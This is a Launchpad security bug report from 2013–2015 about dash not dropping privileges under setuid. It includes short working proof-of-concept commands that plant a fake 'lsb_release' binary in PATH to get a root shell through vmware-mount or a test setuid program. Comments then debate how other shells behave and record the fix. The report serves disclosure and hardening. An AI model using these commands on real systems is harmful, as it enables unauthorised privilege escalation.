dash does not drop privileges when euid != uid, this can cause local root exploits when setuid programs use system() or popen()

Bug #1215660 reported by Alec Warner on 2013-08-22
262
This bug affects 1 person
Affects Status Importance Assigned to Milestone
dash (Debian)
Fix Released
Unknown
dash (Ubuntu)
High
Marc Deslauriers

Bug Description

Poorly written setuid programs may call 'popen' or 'system' with incorrectly specified arguments. For instance, there is a bug in vmware-mount where it calls "popen('lsb-release')" (CVE-2013-1662). It should be "popen('/usr/bin/lsb-release')". Because of this, an attacker can drop a file named 'lsb-release' in . and then call vmware-mount, and it will happily popen the attacker controlled file as root.

Now, bash has a 'privdrop' option, however debian removed this option in the 1990's:
http://patch-tracker.debian.org/patch/series/view/bash/4.2+dfsg-0.1/privmode.diff and
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586

Most shells will drop privs when euid != uid, because it turns out calling popen / system from setuid scripts is nearly impossible to get right (in fact, pretty much any setuid script is insanely difficult to write without a vulnerability in it.

Ensure /bin/sh is dash
antarus@goats5 ~ $ sudo ln -sf /bin/dash /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount
# whoami
root

If we switched to a sane shell (like busybox for example.)
antarus@goats5 ~ $ sudo ln -sf /bin/busybox /bin/sh
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("/bin/sh>`tty` 2>&1");}';PATH=.:$PATH vmware-mount

BusyBox v1.18.5 (Ubuntu 1:1.18.5-1ubuntu4.1) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/usr/local/google/home/antarus $ whoami
whoami: unknown uid XXXXX # I have omitted my actual UID, needless to say it isn't uid 0 :)

Now you may be saying 'hey i don't have vmware-mount handy' so instead:

antarus@goats5 ~ $ cat /tmp/silly_setuid.c
#include <stdio.h>

int main(int argc, char ** argv) {
  popen("lsb_release", "r");
}

antarus@goats5 ~ $ gcc /tmp/silly_setuid.c -o silly_setuid
antarus@goats5 ~ $ sudo chown root:root silly_setuid
[sudo] password for antarus:
antarus@goats5 ~ $ sudo chmod 4755 silly_setuid
antarus@goats5 ~ $ cc -xc - -olsb_release<<<'main(){system("whoami>`tty` 2>&1");}';PATH=.:$PATH silly_setuid
antarus@goats5 ~ $ root

Distributor ID: Ubuntu
Description: Ubuntu 12.04.1 LTS
Release: 12.04
Codename: precise

antarus@goats5 ~ $ apt-cache policy dash
dash:
  Installed: 0.5.7-2ubuntu2
  Candidate: 0.5.7-2ubuntu2
  Version table:
 *** 0.5.7-2ubuntu2 0
        600 my-apt-mirror ubuntu-precise/main amd64 Packages
        100 /var/lib/dpkg/status

Related branches

Alec Warner (antarus) wrote :

Tavis sent a patch to upstream dash:

http://article.gmane.org/gmane.comp.shells.dash/841

Seth Arnold (seth-arnold) wrote :

See also followup patch at http://www.openwall.com/lists/oss-security/2013/08/22/15 to switch configuration options to better match bash and FreeBSD.

information type: Private Security → Public Security
Seth Arnold (seth-arnold) wrote :

Note that the linked CVE-2013-1662 is for a vulnerability in VMWare's vmware-mount, not in dash.

As a hardening measure, this is unlikely to get a CVE number itself.

Thanks

Changed in dash (Ubuntu):
status: New → Triaged

There are several incorrect statements in the initial report and the linked CVE.

1. bash doesn't drop its privilege when setuid when called as sh. It only does so when called as bash and without the -p option. It does however go into a mode where it does not trust its environment as much as when it's not setuid. It still trusts $PATH though.

2. pdksh like AT&T ksh or bash when called as sh, does not drop privileges on startup. It enters the "privileged" mode in which it is more careful in what it does with the environment (for instance, ignores ENV as mandated by POSIX). Only recent versions of mksh (and possibly OpenBSD sh/ksh) based on pdksh drop the privileges.

3. Non-Linux sh are generally not pdksh. From the major ones, only OpenBSD and MirBSD have shells *based* on pdksh. Other BSDs generally have a shell based on the Almquist shell (dash itself is mostly based on NetBSD sh) or bash (like OS/X) and commercial unices generally on AT&T ksh88

4. So it's not most shells dropping privileges. bash (as sh), dash, pdksh, AT&T ksh, yash don't. Only some pdksh derivatives and bash when called as sh do.

5. calling popen("/usr/bin/lsb-release") as root is not the right solution as lsb-release doesn't need super-user privileges and is not guaranteed to be found in /usr/bin and is at least on Debian a python script (python's behaviour can also be affected by env vars) that relies on PATH to find other utilities, so PATH would still need to be sanitized).

So dash is not any more vulnerable that any other shell in that regard and is certainly a much better choice in terms of security for /bin/sh than any other bigger shell like bash, zsh or AT&T ksh.

Changing dash so it drops privileges is likely to break some usages (rare as it's widely known that calling shells in setuid contexts is very risky).

correction on my previous comment:

My point "1" is only true on Debian and derivatives. bash does drop its privilege when setuid and called as sh without -p just like when not called as sh, but Debian's bash package has a patch that disables that dropping of privileges when called as sh.

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=52586

Changed in dash (Ubuntu):
assignee: nobody → Marc Deslauriers (mdeslaur)
importance: Undecided → High
Changed in dash (Debian):
status: Unknown → Confirmed
Launchpad Janitor (janitor) wrote :

This bug was fixed in the package dash - 0.5.7-4ubuntu2

---------------
dash (0.5.7-4ubuntu2) wily; urgency=medium

  * Drop privileges when euid != uid as a security measure (LP: #1215660)
    - debian/diff/9001-Add-privmode-Part-1.diff
    - debian/diff/9002-Add-privmode-Part-2.diff

 -- Marc Deslauriers <email address hidden> Wed, 03 Jun 2015 11:08:33 -0400

Changed in dash (Ubuntu):
status: Triaged → Fix Released
Changed in dash (Debian):
status: Confirmed → Fix Released
To post a comment you must log in.
This report contains Public Security information  Edit
Everyone can see this security related information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.